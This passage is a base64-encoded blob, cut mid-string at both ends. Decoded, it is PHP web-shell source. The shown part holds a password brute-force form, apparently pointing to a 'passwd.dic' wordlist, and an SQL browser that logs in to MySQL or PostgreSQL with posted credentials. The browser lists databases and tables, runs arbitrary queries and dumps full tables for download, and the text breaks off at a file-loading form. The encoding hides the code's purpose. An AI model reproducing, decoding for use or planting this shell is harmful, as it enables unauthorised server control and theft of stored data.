kPicKICAgICAgICAuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bG9naW4gdmFsdWU9IlRlYW0gRkgiPjwvdGQ+PC90cj4nCiAgICAgICAgLic8dHI+PHRkPjxzcGFuPkRpY3Rpb25hcnk8L3NwYW4+PC90ZD4nCiAgICAgICAgLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRpY3QgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLidwYXNzd2QuZGljIj48L3RkPjwvdHI+PC90YWJsZT4nCiAgICAgICAgLic8L3RkPjwvdHI+PHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+JzsKICAgIGVjaG8gJzwvZGl2Pjxicj4nOwogICAgcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uU3FsKCkgewogICAgY2xhc3MgRGJDbGFzcyB7CiAgICAgICAgdmFyICR0eXBlOwogICAgICAgIHZhciAkbGluazsKICAgICAgICB2YXIgJHJlczsKICAgICAgICBmdW5jdGlvbiBEYkNsYXNzKCR0eXBlKSAgICB7CiAgICAgICAgICAgICR0aGlzLT50eXBlID0gJHR5cGU7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIGNvbm5lY3QoJGhvc3QsICR1c2VyLCAkcGFzcywgJGRibmFtZSl7CiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgICAgewogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOgogICAgICAgICAgICAgICAgICAgIGlmKCAkdGhpcy0+bGluayA9IEBteXNxbF9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzLHRydWUpICkgcmV0dXJuIHRydWU7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6CiAgICAgICAgICAgICAgICAgICAgJGhvc3QgPSBleHBsb2RlKCc6JywgJGhvc3QpOwogICAgICAgICAgICAgICAgICAgIGlmKCEkaG9zdFsxXSkgJGhvc3RbMV09NTQzMjsKICAgICAgICAgICAgICAgICAgICBpZiggJHRoaXMtPmxpbmsgPSBAcGdfY29ubmVjdCgiaG9zdD17JGhvc3RbMF19IHBvcnQ9eyRob3N0WzFdfSB1c2VyPSR1c2VyIHBhc3N3b3JkPSRwYXNzIGRibmFtZT0kZGJuYW1lIikgKSByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIHNlbGVjdGRiKCRkYikgewogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgIHsKICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoKICAgICAgICAgICAgICAgICAgICBpZiAoQG15c3FsX3NlbGVjdF9kYigkZGIpKXJldHVybiB0cnVlOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gcXVlcnkoJHN0cikgewogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpIHsKICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9IEBteXNxbF9xdWVyeSgkc3RyKTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9IEBwZ19xdWVyeSgkdGhpcy0+bGluaywkc3RyKTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIGZldGNoKCkgewogICAgICAgICAgICAkcmVzID0gZnVuY19udW1fYXJncygpP2Z1bmNfZ2V0X2FyZygwKTokdGhpcy0+cmVzOwogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgIHsKICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXMpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiBAcGdfZmV0Y2hfYXNzb2MoJHJlcyk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBsaXN0RGJzKCkgewogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgIHsKICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9IEBteXNxbF9saXN0X2RicygkdGhpcy0+bGluayk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgiU0VMRUNUIGRhdG5hbWUgRlJPTSBwZ19kYXRhYmFzZSIpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBsaXN0VGFibGVzKCkgewogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgIHsKICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBUQUJMRVMnKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJzZWxlY3QgdGFibGVfbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgKHRhYmxlX3NjaGVtYSAhPSAnaW5mb3JtYXRpb25fc2NoZW1hJyBBTkQgdGFibGVfc2NoZW1hICE9ICdwZ19jYXRhbG9nJykgb3IgdGFibGVfbmFtZSA9ICdwZ191c2VyJyIpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBlcnJvcigpIHsKICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgICB7CiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBteXNxbF9lcnJvcigkdGhpcy0+bGluayk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gQHBnX2xhc3RfZXJyb3IoJHRoaXMtPmxpbmspOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBzZXRDaGFyc2V0KCRzdHIpIHsKICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgICB7CiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9zZXRfY2hhcnNldCcpKQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gQG15c3FsX3NldF9jaGFyc2V0KCRzdHIsICR0aGlzLT5saW5rKTsKICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgnU0VUIENIQVJTRVQgJy4kc3RyKTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gQHBnX3NldF9jbGllbnRfZW5jb2RpbmcoJHRoaXMtPmxpbmssICRzdHIpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gZHVtcCgkdGFibGUpIHsKICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgICB7CiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgJHJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBDUkVBVEUgVEFCTEUgYCcuJHRhYmxlLidgJyk7CiAgICAgICAgICAgICAgICAgICAgJGNyZWF0ZSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXMpOwogICAgICAgICAgICAgICAgICAgIGVjaG8gJGNyZWF0ZVsxXS4iO1xuXG4iOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSBgJy4kdGFibGUuJ2AnKTsKICAgICAgICAgICAgICAgICAgICB3aGlsZSgkaXRlbSA9ICR0aGlzLT5mZXRjaCgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRjb2x1bW5zID0gYXJyYXkoKTsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkaXRlbSBhcyAkaz0+JHYpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWyRrXSA9ICInIi5AbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KS4iJyI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1uc1tdID0gImAiLiRrLiJgIjsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVjaG8gJ0lOU0VSVCBJTlRPIGAnLiR0YWJsZS4nYCAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4nKSBWQUxVRVMgKCcuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyk7Jy4iXG4iOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOgogICAgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSk7CiAgICAgICAgICAgICAgICAgICAgd2hpbGUoJGl0ZW0gPSAkdGhpcy0+ZmV0Y2goKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1ucyA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnNbXSA9ICRrOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZWNobyAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4nKSBWQUxVRVMgKCcuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyk7Jy4iXG4iOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICB9OwogICAgJGRiID0gbmV3IERiQ2xhc3MoQCRfUE9TVFsndHlwZSddKTsKICAgIGlmKEAkX1BPU1RbJ3AyJ109PSdkb3dubG9hZCcpIHsKICAgICAgICBvYl9zdGFydCgib2JfZ3poYW5kbGVyIiwgNDA5Nik7CiAgICAgICAgJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pOwogICAgICAgICRkYi0+c2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsKICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPWR1bXAuc3FsIik7CiAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IHRleHQvcGxhaW4iKTsKICAgICAgICBmb3JlYWNoKCRfUE9TVFsndGJsJ10gYXMgJHYpCiAgICAgICAgICAgICAgICAkZGItPmR1bXAoJHYpOwogICAgICAgIGV4aXQ7CiAgICB9CiAgICBwcmludEhlYWRlcigpOwogICAgZWNobyAnPGgxPlNxbCBicm93c2VyPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+CiAgICA8Zm9ybSBuYW1lPSJzZiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICA8dGFibGUgY2VsbHBhZGRpbmc9IjIiIGNlbGxzcGFjaW5nPSIwIj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPlR5cGU8L3RkPgogICAgICAgICAgICAgICAgPHRkPkhvc3Q8L3RkPgogICAgICAgICAgICAgICAgPHRkPkxvZ2luPC90ZD4KICAgICAgICAgICAgICAgIDx0ZD5QYXNzd29yZDwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+RGF0YWJhc2U8L3RkPgogICAgICAgICAgICAgICAgPHRkPjwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9U3FsPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9XCdxdWVyeVwnPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDI+CiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuJyI+CiAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBuYW1lPVwndHlwZVwnPgogICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJteXNxbCIgJy4oQCRfUE9TVFsndHlwZSddPT0nbXlzcWwnPydzZWxlY3RlZCc6JycpLic+TXlTcWw8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0icGdzcWwiICcuKEAkX1BPU1RbJ3R5cGUnXT09J3Bnc3FsJz8nc2VsZWN0ZWQnOicnKS4nPlBvc3RncmVTcWw8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD48L3RkPgogICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfaG9zdCB2YWx1ZT0iJy4oZW1wdHkoJF9QT1NUWydzcWxfaG9zdCddKT8nbG9jYWxob3N0JzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2hvc3QnXSkpLiciPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9sb2dpbiB2YWx1ZT0iJy4oZW1wdHkoJF9QT1NUWydzcWxfbG9naW4nXSk/J3Jvb3QnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfbG9naW4nXSkpLiciPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9wYXNzIHZhbHVlPSInLihlbXB0eSgkX1BPU1RbJ3NxbF9wYXNzJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfcGFzcyddKSkuJyI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4nOwogICAgJHRtcCA9ICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2Jhc2UgdmFsdWU9Jyc+IjsKICAgIGlmKGlzc2V0KCRfUE9TVFsnc3FsX2hvc3QnXSkpewogICAgICAgIGlmKCRkYi0+Y29ubmVjdCgkX1BPU1RbJ3NxbF9ob3N0J10sICRfUE9TVFsnc3FsX2xvZ2luJ10sICRfUE9TVFsnc3FsX3Bhc3MnXSwgJF9QT1NUWydzcWxfYmFzZSddKSkgewogICAgICAgICAgICBzd2l0Y2goJF9QT1NUWydjaGFyc2V0J10pIHsKICAgICAgICAgICAgICAgIGNhc2UgIldpbmRvd3MtMTI1MSI6ICRkYi0+c2V0Q2hhcnNldCgnY3AxMjUxJyk7IGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAiVVRGLTgiOiAkZGItPnNldENoYXJzZXQoJ3V0ZjgnKTsgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICJLT0k4LVIiOiAkZGItPnNldENoYXJzZXQoJ2tvaThyJyk7IGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAiS09JOC1VIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4dScpOyBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgImNwODY2IjogJGRiLT5zZXRDaGFyc2V0KCdjcDg2NicpOyBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICAkZGItPmxpc3REYnMoKTsKICAgICAgICAgICAgZWNobyAiPHNlbGVjdCBuYW1lPXNxbF9iYXNlPjxvcHRpb24gdmFsdWU9Jyc+PC9vcHRpb24+IjsKICAgICAgICAgICAgd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCkpIHsKICAgICAgICAgICAgICAgIGxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOwogICAgICAgICAgICAgICAgZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy4kdmFsdWUuJyIgJy4oJHZhbHVlPT0kX1BPU1RbJ3NxbF9iYXNlJ10/J3NlbGVjdGVkJzonJykuJz4nLiR2YWx1ZS4nPC9vcHRpb24+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICc8L3NlbGVjdD4nOwogICAgICAgIH0KICAgICAgICBlbHNlIGVjaG8gJHRtcDsKICAgIH1lbHNlCiAgICAgICAgZWNobyAkdG1wOwogICAgZWNobyAnPC90ZD4KICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L3RkPgogICAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CiAgICAgICAgPHNjcmlwdD4KICAgICAgICAgICAgZnVuY3Rpb24gc3QodCxsKSB7CiAgICAgICAgICAgICAgICBkb2N1bWVudC5zZi5wMS52YWx1ZSA9IFwnc2VsZWN0XCc7CiAgICAgICAgICAgICAgICBkb2N1bWVudC5zZi5wMi52YWx1ZSA9IHQ7CiAgICAgICAgICAgICAgICBpZihsIT1udWxsKWRvY3VtZW50LnNmLnAzLnZhbHVlID0gbDsKICAgICAgICAgICAgICAgIGRvY3VtZW50LnNmLnN1Ym1pdCgpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGlzKCkgewogICAgICAgICAgICAgICAgZm9yKGk9MDtpPGRvY3VtZW50LnNmLmVsZW1lbnRzW1wndGJsW11cJ10ubGVuZ3RoOysraSkKICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5zZi5lbGVtZW50c1tcJ3RibFtdXCddW2ldLmNoZWNrZWQgPSAhZG9jdW1lbnQuc2YuZWxlbWVudHNbXCd0YmxbXVwnXVtpXS5jaGVja2VkOwogICAgICAgICAgICB9CiAgICAgICAgPC9zY3JpcHQ+JzsKICAgIGlmKGlzc2V0KCRkYikgJiYgJGRiLT5saW5rKXsKICAgICAgICBlY2hvICI8YnIvPjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTIgY2VsbHNwYWNpbmc9MD4iOwogICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydzcWxfYmFzZSddKSl7CiAgICAgICAgICAgICAgICAkZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7CiAgICAgICAgICAgICAgICBlY2hvICI8dHI+PHRkIHdpZHRoPTEgc3R5bGU9J2JvcmRlci10b3A6MnB4IHNvbGlkICM2NjY7Ym9yZGVyLXJpZ2h0OjJweCBzb2xpZCAjNjY2Oyc+PHNwYW4+VGFibGVzOjwvc3Bhbj48YnI+PGJyPiI7CiAgICAgICAgICAgICAgICAkdGJsc19yZXMgPSAkZGItPmxpc3RUYWJsZXMoKTsKICAgICAgICAgICAgICAgIHdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgkdGJsc19yZXMpKSB7CiAgICAgICAgICAgICAgICAgICAgbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgkaXRlbSk7CiAgICAgICAgICAgICAgICAgICAgJG4gPSAkZGItPmZldGNoKCRkYi0+cXVlcnkoJ1NFTEVDVCBDT1VOVCgqKSBhcyBuIEZST00gJy4kdmFsdWUuJycpKTsKICAgICAgICAgICAgICAgICAgICAkdmFsdWUgPSBodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSk7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiPG5vYnI+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd0YmxbXScgdmFsdWU9JyIuJHZhbHVlLiInPiZuYnNwOzxhIGhyZWY9IyBvbmNsaWNrPVwic3QoJyIuJHZhbHVlLiInKVwiPiIuJHZhbHVlLiI8L2E+ICgiLiRuWyduJ10uIik8L25vYnI+PGJyPiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlY2hvICI8aW5wdXQgdHlwZT0nY2hlY2tib3gnIG9uY2xpY2s9J2lzKCk7Jz4gPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPSdEdW1wJyBvbmNsaWNrPSdkb2N1bWVudC5zZi5wMi52YWx1ZT1cImRvd25sb2FkXCI7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7Jz48L3RkPjx0ZCBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzY2NjsnPiI7CiAgICAgICAgICAgICAgICBpZihAJF9QT1NUWydwMSddID09ICdzZWxlY3QnKSB7CiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMSddID0gJ3F1ZXJ5JzsKICAgICAgICAgICAgICAgICAgICAkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcuJF9QT1NUWydwMiddLicnKTsKICAgICAgICAgICAgICAgICAgICAkbnVtID0gJGRiLT5mZXRjaCgpOwogICAgICAgICAgICAgICAgICAgICRudW0gPSAkbnVtWyduJ107CiAgICAgICAgICAgICAgICAgICAgZWNobyAiPHNwYW4+Ii4kX1BPU1RbJ3AyJ10uIjwvc3Bhbj4gKCRudW0pICI7CiAgICAgICAgICAgICAgICAgICAgZm9yKCRpPTA7JGk8KCRudW0vMzApOyRpKyspCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRpICE9IChpbnQpJF9QT1NUWydwMyddKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGEgaHJlZj0nIycgb25jbGljaz0nc3QoXCIiLiRfUE9TVFsncDInXS4iXCIsICRpKSc+IiwoJGkrMSksIjwvYT4gIjsKICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAoJGkrMSksIiAiOwogICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKQogICAgICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AzJ10gPSAnU0VMRUNUICogRlJPTSAnLiRfUE9TVFsncDInXS4nIExJTUlUIDMwIE9GRlNFVCAnLigkX1BPU1RbJ3AzJ10qMzApOwogICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMyddID0gJ1NFTEVDVCAqIEZST00gYCcuJF9QT1NUWydwMiddLidgIExJTUlUICcuKCRfUE9TVFsncDMnXSozMCkuJywzMCc7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiPGJyPjxicj4iOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYoKEAkX1BPU1RbJ3AxJ10gPT0gJ3F1ZXJ5JykgJiYgIWVtcHR5KCRfUE9TVFsncDMnXSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGItPnF1ZXJ5KEAkX1BPU1RbJ3AzJ10pOwogICAgICAgICAgICAgICAgICAgIGlmKCRkYi0+cmVzICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAkdGl0bGUgPSBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHNwYWNpbmc9MCBjZWxscGFkZGluZz0yIGNsYXNzPW1haW4+JzsKICAgICAgICAgICAgICAgICAgICAgICAgJGxpbmUgPSAxOwogICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goKSkgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoISR0aXRsZSkgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0cj4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGl0ZW0gYXMgJGtleSA9PiAkdmFsdWUpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0aD4nLiRrZXkuJzwvdGg+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXNldCgkaXRlbSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRpdGxlPXRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC90cj48dHI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGluZSA9IDI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dHIgY2xhc3M9ImwnLiRsaW5lLiciPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGluZSA9ICRsaW5lPT0xPzI6MTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGl0ZW0gYXMgJGtleSA9PiAkdmFsdWUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkdmFsdWUgPT0gbnVsbCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRkPjxpPm51bGw8L2k+PC90ZD4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRkPicubmwyYnIoaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpKS4nPC90ZD4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC90cj4nOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdGFibGU+JzsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8ZGl2PjxiPkVycm9yOjwvYj4gJy5odG1sc3BlY2lhbGNoYXJzKCRkYi0+ZXJyb3IoKSkuJzwvZGl2Pic7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWNobyAiPGJyPjx0ZXh0YXJlYSBuYW1lPSdwMycgc3R5bGU9J3dpZHRoOjEwMCU7aGVpZ2h0OjEwMHB4Jz4iLkBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDMnXSkuIjwvdGV4dGFyZWE+PGJyLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0V4ZWN1dGUnPiI7CiAgICAgICAgICAgICAgICBlY2hvICI8L3RkPjwvdHI+IjsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICI8L3RhYmxlPjwvZm9ybT48YnIvPjxmb3JtIG9uc3VibWl0PSdkb2N1bWVudC5zZi5wMS52YWx1ZT1cImxvYWRmaWxlXCI7ZG9jdW1lbnQuc2YucDIudmFsdWU9dGhpcy5mL